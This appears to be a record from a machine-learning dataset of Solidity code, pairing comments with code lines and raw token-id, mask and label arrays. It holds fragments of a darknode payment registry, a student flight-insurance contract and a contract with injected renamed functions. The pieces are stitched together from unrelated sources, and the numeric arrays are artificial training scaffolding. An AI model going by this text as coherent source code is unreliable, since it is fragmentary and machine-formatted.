/// @param _usePreviousEpoch If true, use the previous epoch, otherwise use
/// the current epoch.
function getDarknodesFromEpochs(address _start, uint256 _count, bool _usePreviousEpoch) private view returns (address[] memory) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
address[] memory nodes = new address[](count);
// Begin with the first node in the list
uint256 n = 0;
address next = _start;
if (next == address(0)) {
next = store.begin();
}
// Iterate until all registered Darknodes have been collected
while (n < count) {
if (next == address(0)) {
break;
}
// Only include Darknodes that are currently registered
bool includeNext;
if (_usePreviousEpoch) {
includeNext = isRegisteredInPreviousEpoch(next);
} else {
includeNext = isRegistered(next);
}
if (!includeNext) {
next = store.next(next);
continue;
}
nodes[n] = next;
next = store.next(next);
n += 1;
}
return nodes;
}
/// Private function called by `deregister` and `slash`
function deregisterDarknode(address _darknodeID) private {
// Flag the darknode for deregistration
store.updateDarknodeDeregisteredAt(_darknodeID, currentEpoch.blocktime.add(minimumEpochInterval));
numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1);
// Emit an event
emit LogDarknodeDeregistered(msg.sender, _darknodeID);
}
}
/// @notice DarknodePaymentStore is responsible for tracking balances which have
/// been allocated to the darknodes. It is also responsible for holding
/// the tokens to be paid out to darknodes.
contract DarknodePaymentStore is Claimable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
using ERC20WithFees for ERC20;
string public VERSION; // Passed in as a constructor parameter.
/// @notice The special address for Ether.
address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/// @notice Mapping of darknode -> token -> balance
mapping(address => mapping(address => uint256)) public darknodeBalances;
/// @notice Mapping of token -> lockedAmount
mapping(address => uint256) public lockedBalances;
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
constructor(
string memory _VERSION
) public {
VERSION = _VERSION;
}
/// @notice Allow direct ETH payments to be made to the DarknodePaymentStore.
function () external payable {
}
/// @notice Get the total balance of the contract for a particular token
///
/// @param _token The token to check balance of
/// @return The total balance of the contract
function totalBalance(address _token) public view returns (uint256) {
if (_token == ETHEREUM) {
return address(this).balance;
} else {
return ERC20(_token).balanceOf(address(this));
}
}
/// @notice Get the available balance of the contract for a particular token
/// This is the free amount which has not yet been allocated to
/// darknodes.
///
/// @param _token The token to check balance of
/// @return The available balance of the contract
function availableBalance(address _token) public view returns (uint256) {
return totalBalance(_token).sub(lockedBalances[_token]);
}
/// @notice Increments the amount of funds allocated to a particular
/// darknode.
///
/// @param _darknode The address of the darknode to increase balance of
/// @param _token The token which the balance should be incremented
/// @param _amount The amount that the balance should be incremented by
function incrementDarknodeBalance(address _darknode, address _token, uint256 _amount) external onlyOwner {
require(_amount > 0, "DarknodePaymentStore: invalid amount");
require(availableBalance(_token) >= _amount, "DarknodePaymentStore: insufficient contract balance");
darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].add(_amount);
lockedBalances[_token] = lockedBalances[_token].add(_amount);
}
/// @notice Transfers an amount out of balance to a specified address
///
/// @param _darknode The address of the darknode
/// @param _token Which token to transfer
/// @param _amount The amount to transfer
/// @param _recipient The address to withdraw it to
function transfer(address _darknode, address _token, uint256 _amount, address payable _recipient) external onlyOwner {
require(darknodeBalances[_darknode][_token] >= _amount, "DarknodePaymentStore: insufficient darknode balance");
darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].sub(_amount);
lockedBalances[_token] = lockedBalances[_token].sub(_amount);
if (_token == ETHEREUM) {
_recipient.transfer(_amount);
} else {
ERC20(_token).safeTransfer(_recipient, _amount);
}
}
}
/// @notice DarknodePayment is responsible for paying off darknodes for their
/// computation.
contract DarknodePayment is Claimable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
using ERC20WithFees for ERC20;
string public VERSION; // Passed in as a constructor parameter.
/// @notice The special address for Ether.
address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
DarknodeRegistry public darknodeRegistry; // Passed in as a constructor parameter.
/// @notice DarknodePaymentStore is the storage contract for darknode
/// payments.
DarknodePaymentStore public store; // Passed in as a constructor parameter.
/// @notice The address that can call changeCycle()
// This defaults to the owner but should be changed to the DarknodeRegistry.
address public cycleChanger;
uint256 public currentCycle;
uint256 public previousCycle;
/// @notice The list of tokens that will be registered next cycle.
/// We only update the shareCount at the change of cycle to
/// prevent the number of shares from changing.
address[] public pendingTokens;
/// @notice The list of tokens which are already registered and rewards can
/// be claimed for.
address[] public registeredTokens;
/// @notice Mapping from token -> index. Index starts from 1. 0 means not in
/// list.
mapping(address => uint256) public registeredTokenIndex;
/// @notice Mapping from token -> amount.
/// The amount of rewards allocated for all darknodes to claim into
/// their account.
mapping(address => uint256) public unclaimedRewards;
/// @notice Mapping from token -> amount.
/// The amount of rewards allocated for each darknode.
mapping(address => uint256) public previousCycleRewardShare;
/// @notice The time that the current cycle started.
uint256 public cycleStartTime;
/// @notice The staged payout percentage to the darknodes per cycle
uint256 public nextCyclePayoutPercent;
/// @notice The current cycle payout percentage to the darknodes
uint256 public currentCyclePayoutPercent;
/// @notice Mapping of darknode -> cycle -> already_claimed
/// Used to keep track of which darknodes have already claimed their
/// rewards.
mapping(address => mapping(uint256 => bool)) public rewardClaimed;
/// @notice Emitted when a darknode claims their share of reward
/// @param _darknode The darknode which claimed
/// @param _cycle The cycle that the darknode claimed for
event LogDarknodeClaim(address indexed _darknode, uint256 _cycle);
/// @notice Emitted when someone pays the DarknodePayment contract
/// @param _payer The darknode which claimed
/// @param _amount The cycle that the darknode claimed for
/// @param _token The address of the token that was transferred
event LogPaymentReceived(address indexed _payer, uint256 _amount, address indexed _token);
/// @notice Emitted when a darknode calls withdraw
/// @param _payee The address of the darknode which withdrew
/// @param _value The amount of DAI withdrawn
/// @param _token The address of the token that was withdrawn
event LogDarknodeWithdrew(address indexed _payee, uint256 _value, address indexed _token);
/// @notice Emitted when the payout percent changes
/// @param _newPercent The new percent
/// @param _oldPercent The old percent
event LogPayoutPercentChanged(uint256 _newPercent, uint256 _oldPercent);
/// @notice Emitted when the CycleChanger address changes
/// @param _newCycleChanger The new CycleChanger
/// @param _oldCycleChanger The old CycleChanger
event LogCycleChangerChanged(address _newCycleChanger, address _oldCycleChanger);
/// @notice Emitted when a new token is registered
/// @param _token The token that was registered
event LogTokenRegistered(address _token);
/// @notice Emitted when a token is deregistered
/// @param _token The token that was deregistered
event LogTokenDeregistered(address _token);
/// @notice Emitted when the DarknodeRegistry is updated.
/// @param _previousDarknodeRegistry The address of the old registry.
/// @param _nextDarknodeRegistry The address of the new registry.
event LogDarknodeRegistryUpdated(DarknodeRegistry _previousDarknodeRegistry, DarknodeRegistry _nextDarknodeRegistry);
/// @notice Restrict a function registered dark nodes to call a function.
modifier onlyDarknode(address _darknode) {
require(darknodeRegistry.isRegistered(_darknode), "DarknodePayment: darknode is not registered");
_;
}
/// @notice Restrict a function to have a valid percentage
modifier validPercent(uint256 _percent) {
require(_percent <= 100, "DarknodePayment: invalid percentage");
_;
}
/// @notice The contract constructor. Starts the current cycle using the
/// time of deploy.
///
/// @param _VERSION A string defining the contract version.
/// @param _darknodeRegistry The address of the DarknodeRegistry contract
/// @param _darknodePaymentStore The address of the DarknodePaymentStore
/// contract
constructor(
string memory _VERSION,
DarknodeRegistry _darknodeRegistry,
DarknodePaymentStore _darknodePaymentStore,
uint256 _cyclePayoutPercent
) public validPercent(_cyclePayoutPercent) {
VERSION = _VERSION;
darknodeRegistry = _darknodeRegistry;
store = _darknodePaymentStore;
nextCyclePayoutPercent = _cyclePayoutPercent;
// Default the cycleChanger to owner
cycleChanger = msg.sender;
// Start the current cycle
(currentCycle, cycleStartTime) = darknodeRegistry.currentEpoch();
currentCyclePayoutPercent = nextCyclePayoutPercent;
}
/// @notice Allows the contract owner to update the address of the
/// darknode registry contract.
/// @param _darknodeRegistry The address of the Darknode Registry
/// contract.
function updateDarknodeRegistry(DarknodeRegistry _darknodeRegistry) external onlyOwner {
require(address(_darknodeRegistry) != address(0x0), "DarknodePayment: invalid Darknode Registry address");
DarknodeRegistry previousDarknodeRegistry = darknodeRegistry;
darknodeRegistry = _darknodeRegistry;
emit LogDarknodeRegistryUpdated(previousDarknodeRegistry, darknodeRegistry);
}
/// @notice Transfers the funds allocated to the darknode to the darknode
/// owner.
///
/// @param _darknode The address of the darknode
/// @param _token Which token to transfer
function withdraw(address _darknode, address _token) public {
address payable darknodeOwner = darknodeRegistry.getDarknodeOwner(_darknode);
require(darknodeOwner != address(0x0), "DarknodePayment: invalid darknode owner");
uint256 amount = store.darknodeBalances(_darknode, _token);
require(amount > 0, "DarknodePayment: nothing to withdraw");
store.transfer(_darknode, _token, amount, darknodeOwner);
emit LogDarknodeWithdrew(_darknode, amount, _token);
}
function withdrawMultiple(address _darknode, address[] calldata _tokens) external {
for (uint i = 0; i < _tokens.length; i++) {
withdraw(_darknode, _tokens[i]);
}
}
/// @notice Forward all payments to the DarknodePaymentStore.
function () external payable {
address(store).transfer(msg.value);
emit LogPaymentReceived(msg.sender, msg.value, ETHEREUM);
}
/// @notice The current balance of the contract available as reward for the
/// current cycle
function currentCycleRewardPool(address _token) external view returns (uint256) {
uint256 total = store.availableBalance(_token).sub(unclaimedRewards[_token]);
return total.div(100).mul(currentCyclePayoutPercent);
}
function darknodeBalances(address _darknodeID, address _token) external view returns (uint256) {
return store.darknodeBalances(_darknodeID, _token);
}
/// @notice Changes the current cycle.
function changeCycle() external returns (uint256) {
require(msg.sender == cycleChanger, "DarknodePayment: not cycle changer");
// Snapshot balances for the past cycle
uint arrayLength = registeredTokens.length;
for (uint i = 0; i < arrayLength; i++) {
_snapshotBalance(registeredTokens[i]);
}
// Start a new cycle
previousCycle = currentCycle;
(currentCycle, cycleStartTime) = darknodeRegistry.currentEpoch();
currentCyclePayoutPercent = nextCyclePayoutPercent;
// Update the list of registeredTokens
_updateTokenList();
return currentCycle;
}
/// @notice Deposits token into the contract to be paid to the Darknodes
///
/// @param _value The amount of token deposit in the token's smallest unit.
/// @param _token The token address
function deposit(uint256 _value, address _token) external payable {
uint256 receivedValue;
if (_token == ETHEREUM) {
require(_value == msg.value, "DarknodePayment: mismatched deposit value");
receivedValue = msg.value;
address(store).transfer(msg.value);
} else {
require(msg.value == 0, "DarknodePayment: unexpected ether transfer");
// Forward the funds to the store
receivedValue = ERC20(_token).safeTransferFromWithFees(msg.sender, address(store), _value);
}
emit LogPaymentReceived(msg.sender, receivedValue, _token);
}
/// @notice Forwards any tokens that have been sent to the DarknodePayment contract
/// probably by mistake, to the DarknodePaymentStore.
///
/// @param _token The token address
function forward(address _token) external {
if (_token == ETHEREUM) {
// Its unlikely that ETH will need to be forwarded, but it is
// possible. For example - if ETH had already been sent to the
// contract's address before it was deployed, or if funds are sent
// to it as part of a contract's self-destruct.
address(store).transfer(address(this).balance);
} else {
ERC20(_token).safeTransfer(address(store), ERC20(_token).balanceOf(address(this)));
}
}
/// @notice Claims the rewards allocated to the darknode last epoch.
/// @param _darknode The address of the darknode to claim
function claim(address _darknode) external onlyDarknode(_darknode) {
require(darknodeRegistry.isRegisteredInPreviousEpoch(_darknode), "DarknodePayment: cannot claim for this epoch");
// Claim share of rewards allocated for last cycle
_claimDarknodeReward(_darknode);
emit LogDarknodeClaim(_darknode, previousCycle);
}
/// @notice Adds tokens to be payable. Registration is pending until next
/// cycle.
///
/// @param _token The address of the token to be registered.
function registerToken(address _token) external onlyOwner {
require(registeredTokenIndex[_token] == 0, "DarknodePayment: token already registered");
require(!tokenPendingRegistration(_token), "DarknodePayment: token already pending registration");
pendingTokens.push(_token);
}
function tokenPendingRegistration(address _token) public view returns (bool) {
uint arrayLength = pendingTokens.length;
for (uint i = 0; i < arrayLength; i++) {
if (pendingTokens[i] == _token) {
return true;
}
}
return false;
}
/// @notice Removes a token from the list of supported tokens.
/// Deregistration is pending until next cycle.
///
/// @param _token The address of the token to be deregistered.
function deregisterToken(address _token) external onlyOwner {
require(registeredTokenIndex[_token] > 0, "DarknodePayment: token not registered");
_deregisterToken(_token);
}
/// @notice Updates the CycleChanger contract address.
///
/// @param _addr The new CycleChanger contract address.
function updateCycleChanger(address _addr) external onlyOwner {
require(_addr != address(0), "DarknodePayment: invalid contract address");
emit LogCycleChangerChanged(_addr, cycleChanger);
cycleChanger = _addr;
}
/// @notice Updates payout percentage
///
/// @param _percent The percentage of payout for darknodes.
function updatePayoutPercentage(uint256 _percent) external onlyOwner validPercent(_percent) {
uint256 oldPayoutPercent = nextCyclePayoutPercent;
nextCyclePayoutPercent = _percent;
emit LogPayoutPercentChanged(nextCyclePayoutPercent, oldPayoutPercent);
}
/// @notice Allows the contract owner to initiate an ownership transfer of
/// the DarknodePaymentStore.
///
/// @param _newOwner The address to transfer the ownership to.
function transferStoreOwnership(DarknodePayment _newOwner) external onlyOwner {
store.transferOwnership(address(_newOwner));
_newOwner.claimStoreOwnership();
}
/// @notice Claims ownership of the store passed in to the constructor.
/// `transferStoreOwnership` must have previously been called when
/// transferring from another DarknodePaymentStore.
function claimStoreOwnership() external {
store.claimOwnership();
}
/// @notice Claims the darknode reward for all registered tokens into
/// darknodeBalances in the DarknodePaymentStore.
/// Rewards can only be claimed once per cycle.
///
/// @param _darknode The address to the darknode to claim rewards for
function _claimDarknodeReward(address _darknode) private {
require(!rewardClaimed[_darknode][previousCycle], "DarknodePayment: reward already claimed");
rewardClaimed[_darknode][previousCycle] = true;
uint arrayLength = registeredTokens.length;
for (uint i = 0; i < arrayLength; i++) {
address token = registeredTokens[i];
// Only increment balance if shares were allocated last cycle
if (previousCycleRewardShare[token] > 0) {
unclaimedRewards[token] = unclaimedRewards[token].sub(previousCycleRewardShare[token]);
store.incrementDarknodeBalance(_darknode, token, previousCycleRewardShare[token]);
}
}
}
/// @notice Snapshots the current balance of the tokens, for all registered
/// tokens.
///
/// @param _token The address the token to snapshot.
function _snapshotBalance(address _token) private {
uint256 shareCount = darknodeRegistry.numDarknodesPreviousEpoch();
if (shareCount == 0) {
unclaimedRewards[_token] = 0;
previousCycleRewardShare[_token] = 0;
} else {
// Lock up the current balance for darknode reward allocation
uint256 total = store.availableBalance(_token);
unclaimedRewards[_token] = total.div(100).mul(currentCyclePayoutPercent);
previousCycleRewardShare[_token] = unclaimedRewards[_token].div(shareCount);
}
}
/// @notice Deregisters a token, removing it from the list of
/// registeredTokens.
///
/// @param _token The address of the token to deregister.
function _deregisterToken(address _token) private {
address lastToken = registeredTokens[registeredTokens.length.sub(1)];
uint256 deletedTokenIndex = registeredTokenIndex[_token].sub(1);
// Move the last token to _token's position and update it's index
registeredTokens[deletedTokenIndex] = lastToken;
registeredTokenIndex[lastToken] = registeredTokenIndex[_token];
// Decreasing the length will clean up the storage for us
// So we don't need to manually delete the element
registeredTokens.length = registeredTokens.length.sub(1);
registeredTokenIndex[_token] = 0;
emit LogTokenDeregistered(_token);
}
/// @notice Updates the list of registeredTokens adding tokens that are to be registered.
/// The list of tokens that are pending registration are emptied afterwards.
function _updateTokenList() private {
// Register tokens
uint arrayLength = pendingTokens.length;
for (uint i = 0; i < arrayLength; i++) {
address token = pendingTokens[i];
registeredTokens.push(token);
registeredTokenIndex[token] = registeredTokens.length;
emit LogTokenRegistered(token);
}
pendingTokens.length = 0;
}
}
| @notice Restrict a function to the Slasher contract. | modifier onlySlasher() {
require(address(slasher) == msg.sender, "DarknodeRegistry: must be slasher");
_;
}
string memory _VERSION,
RenToken _renAddress,
DarknodeRegistryStore _storeAddress,
uint256 _minimumBond,
uint256 _minimumPodSize,
uint256 _minimumEpochIntervalSeconds
| 7,310,726 | [
1,
29371,
279,
445,
358,
326,
9708,
961,
264,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
1338,
11033,
264,
1435,
288,
203,
3639,
2583,
12,
2867,
12,
12877,
264,
13,
422,
1234,
18,
15330,
16,
315,
40,
1313,
2159,
4243,
30,
1297,
506,
9026,
264,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
3639,
533,
3778,
389,
5757,
16,
203,
3639,
25921,
1345,
389,
1187,
1887,
16,
203,
3639,
463,
1313,
2159,
4243,
2257,
389,
2233,
1887,
16,
203,
3639,
2254,
5034,
389,
15903,
9807,
16,
203,
3639,
2254,
5034,
389,
15903,
5800,
1225,
16,
203,
3639,
2254,
5034,
389,
15903,
14638,
4006,
6762,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
struct AirlineStatus {
bool isRegistered;
bool isFunded;
}
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
mapping(address => AirlineStatus) airlineStatus;
uint256 registeredAirlineCount;
mapping(address => uint256) airlineVotes; // Number of Votes for an airline that is should be registered
struct Flight {
bool isRegistered;
uint8 statusCode;
uint256 updatedTimestamp;
address airline;
address[] passenger;
mapping(address => uint256) insuranceByPassenger;
}
mapping(bytes32 => Flight) private flights;
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor() public {
contractOwner = msg.sender;
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational() {
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner(address caller) {
require(caller == contractOwner, "Caller is not contract owner");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational() public view returns (bool) {
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus(bool mode, address caller)
external
requireContractOwner(caller)
{
operational = mode;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline(
address newAirlineAddress,
address registererAddress
) external requireIsOperational {
require(
registererAddress == contractOwner ||
airlineStatus[registererAddress].isFunded,
"Fund required to register new Airline"
);
if (registererAddress != contractOwner) {
require(
registeredAirlineCount <= 4,
"first airline can only register 4 new airlines (5 in sum)"
);
}
airlineStatus[newAirlineAddress].isRegistered = true;
registeredAirlineCount++;
if (registererAddress == contractOwner) {
airlineStatus[newAirlineAddress].isFunded = true;
}
}
/**
* @dev Buy insurance for a flight
*
*/
function buyInsurance(
address airline,
string flightId,
uint256 timestamp,
address passenger
) external payable requireIsOperational {
require(
msg.value > 0 ether,
"Not enough money given, need more than zero"
);
require(msg.value <= 1 ether, "Too much money given, max. one Ether");
require(this.isAirlineRegistered(airline), "Airline is not registered");
require(
this.isFlightRegistered(airline, flightId, timestamp),
"Flight is not registered"
);
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
flights[flightKey].passenger.push(passenger);
flights[flightKey].insuranceByPassenger[passenger] += msg.value;
}
/**
* @dev Withdraw insurance for a flight
*
*/
function withdrawInsurance(
address airline,
string flightId,
uint256 timestamp,
address passenger
) external payable requireIsOperational {
require(this.isAirlineRegistered(airline), "Airline is not registered");
require(
this.isFlightRegistered(airline, flightId, timestamp),
"Flight is not registered"
);
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
uint256 payout = flights[flightKey].insuranceByPassenger[passenger];
require(payout > 0, "No insurance available");
flights[flightKey].insuranceByPassenger[passenger] = 0;
passenger.transfer(payout);
}
function repayPassengerForFlight(
address airline,
string flightId,
uint256 timestamp
) external payable requireIsOperational {
require(this.isAirlineRegistered(airline), "Airline is not registered");
require(
this.isFlightRegistered(airline, flightId, timestamp),
"Flight is not registered"
);
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
uint256 passengerCount = flights[flightKey].passenger.length;
for (uint256 i = 0; i < passengerCount; i++) {
address passenger = flights[flightKey].passenger[i];
uint256 insurance = flights[flightKey]
.insuranceByPassenger[passenger];
if (insurance > 0) {
flights[flightKey].insuranceByPassenger[passenger] = 0;
// passenger receives credit of 1.5X the amount they paid: multiply with decimal not possible, so add the half.
uint256 payout = SafeMath.add(insurance, SafeMath.div(insurance, 2));
passenger.transfer(payout);
}
}
}
/**
* @dev Credits payouts to insurees
*/
// not needed for project requirements, solved with other function
//function creditInsurees() external requireIsOperational {}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
// not needed for project requirements, solved with other function
//function pay() external requireIsOperational {}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
// not needed for project requirements, solved with other function
//function fund() public payable requireIsOperational {}
function getFlightKey(
address airline,
string flightId,
uint256 timestamp
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(airline, flightId, timestamp));
}
function authorizeCaller(address callerAddress) {
// empty because implementation not required for project.
// Would be needed to authorize flightSuretyApp, alternative to caller parameter at setOperatingStatus.
}
function isAirlineRegistered(address checkAddress)
external
view
returns (bool)
{
return airlineStatus[checkAddress].isRegistered;
}
function registerFlight(
address airline,
string flightId,
uint256 timestamp
) external requireIsOperational {
Flight memory flight;
flight.isRegistered = true;
flight.statusCode = 0; // for unknown (see app)
flight.updatedTimestamp = 0; // not yet updated by oracle
flight.airline = airline;
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
flights[flightKey] = flight;
}
function isFlightRegistered(
address airline,
string flightId,
uint256 timestamp
) external view returns (bool) {
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
return flights[flightKey].isRegistered;
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function() external payable {
//fund();
}
function getVotesForAirline(address airline)
external
view
returns (uint256)
{
return airlineVotes[airline];
}
function voteForAirline(address airline, address airlineVoter) external requireIsOperational {
require(
airlineStatus[airlineVoter].isFunded,
"Voter needs to pay fund"
);
airlineVotes[airline]++;
if (airlineVotes[airline] > registeredAirlineCount / 2) {
// more than 50% votes, so airline can be registered
airlineStatus[airline].isRegistered = true;
registeredAirlineCount++;
}
}
function payFundForAirline(address airline) external payable requireIsOperational {
require(msg.value >= 10, "Fund to low (min. 10)");
require(
airlineStatus[airline].isFunded == false,
"Airline is already funded"
);
airlineStatus[airline].isFunded = true;
}
}
| not yet updated by oracle
| flight.updatedTimestamp = 0; | 5,362,919 | [
1,
902,
4671,
3526,
635,
20865,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
25187,
18,
7007,
4921,
273,
374,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.6;
abstract contract Context {
function _MSGSENDER800() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA819() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
